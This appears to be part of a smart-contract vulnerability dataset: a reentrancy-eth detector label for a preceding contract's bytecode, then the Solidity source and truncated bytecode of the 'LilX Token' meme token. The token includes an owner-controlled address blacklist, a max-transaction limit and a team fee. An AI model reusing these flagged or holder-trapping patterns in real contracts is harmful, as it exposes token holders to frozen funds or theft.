2aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209786c33de5340b55c9aefd253370c9cb02b32ddc845e46b9fd5abe66ca1c816d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,756
0x9aabefbf2bc5a6342daac1e1cf56aa4cfd5d59d1
/* https://t.me/lilxerc20 https://twitter.com/elonmusk/status/1415423461267107842?s=20 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LilX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "LilX Token"; string private constant _symbol = "LilX"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 7; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 7; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906129a7565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612e48565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e919061296b565b6105ad565b6040516101a09190612e2d565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190612fea565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f6919061291c565b6105db565b6040516102089190612e2d565b60405180910390f35b34801561021d57600080fd5b506102266106b4565b005b34801561023457600080fd5b5061023d610c0f565b60405161024a919061305f565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906129e8565b610c18565b005b34801561028857600080fd5b506102a3600480360381019061029e919061288e565b610cca565b005b3480156102b157600080fd5b506102ba610dba565b005b3480156102c857600080fd5b506102e360048036038101906102de919061288e565b610e2c565b6040516102f09190612fea565b60405180910390f35b34801561030557600080fd5b5061030e610e7d565b005b34801561031c57600080fd5b50610325610fd0565b6040516103329190612d5f565b60405180910390f35b34801561034757600080fd5b50610350610ff9565b60405161035d9190612e48565b60405180910390f35b34801561037257600080fd5b5061038d6004803603810190610388919061296b565b611036565b60405161039a9190612e2d565b60405180910390f35b3480156103af57600080fd5b506103b8611054565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a3a565b6110ce565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128e0565b611216565b6040516104179190612fea565b60405180910390f35b61042861129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f4a565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613300565b9150506104b8565b5050565b60606040518060400160405280600a81526020017f4c696c5820546f6b656e00000000000000000000000000000000000000000000815250905090565b60006105c16105ba61129d565b84846112a5565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105e8848484611470565b6106a9846105f461129d565b6106a48560405180606001604052806028815260200161372360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065a61129d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f9092919063ffffffff16565b6112a5565b600190509392505050565b6106bc61129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074090612f4a565b60405180910390fd5b600e60149054906101000a900460ff1615610799576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079090612e8a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082830600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006112a5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086e57600080fd5b505afa158015610882573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a691906128b7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090857600080fd5b505afa15801561091c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094091906128b7565b6040518363ffffffff1660e01b815260040161095d929190612d7a565b602060405180830381600087803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109af91906128b7565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3830610e2c565b600080610a43610fd0565b426040518863ffffffff1660e01b8152600401610a6596959493929190612dcc565b6060604051808303818588803b158015610a7e57600080fd5b505af1158015610a92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab79190612a63565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bb9929190612da3565b602060405180830381600087803b158015610bd357600080fd5b505af1158015610be7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0b9190612a11565b5050565b60006009905090565b610c2061129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca490612f4a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610cd261129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5690612f4a565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfb61129d565b73ffffffffffffffffffffffffffffffffffffffff1614610e1b57600080fd5b6000479050610e2981611c93565b50565b6000610e76600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cff565b9050919050565b610e8561129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0990612f4a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c696c5800000000000000000000000000000000000000000000000000000000815250905090565b600061104a61104361129d565b8484611470565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661109561129d565b73ffffffffffffffffffffffffffffffffffffffff16146110b557600080fd5b60006110c030610e2c565b90506110cb81611d6d565b50565b6110d661129d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612f4a565b60405180910390fd5b600081116111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612f0a565b60405180910390fd5b6111d460646111c683670de0b6b3a764000061206790919063ffffffff16565b6120e290919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120b9190612fea565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612faa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90612eca565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114639190612fea565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790612f8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154790612e6a565b60405180910390fd5b60008111611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612f6a565b60405180910390fd5b61159b610fd0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160957506115d9610fd0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6c57600e60179054906101000a900460ff161561183c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178561129d565b73ffffffffffffffffffffffffffffffffffffffff1614806117fb5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e361129d565b73ffffffffffffffffffffffffffffffffffffffff16145b61183a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183190612fca565b60405180910390fd5b5b5b600f5481111561184b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ef5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a115750600e60179054906101000a900460ff165b15611ab25742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6157600080fd5b601e42611a6e9190613120565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611abd30610e2c565b9050600e60159054906101000a900460ff16158015611b2a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b425750600e60169054906101000a900460ff165b15611b6a57611b5081611d6d565b60004790506000811115611b6857611b6747611c93565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c135750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1d57600090505b611c298484848461212c565b50505050565b6000838311158290611c77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6e9190612e48565b60405180910390fd5b5060008385611c869190613201565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cfb573d6000803e3d6000fd5b5050565b6000600654821115611d46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3d90612eaa565b60405180910390fd5b6000611d50612159565b9050611d6581846120e290919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611df95781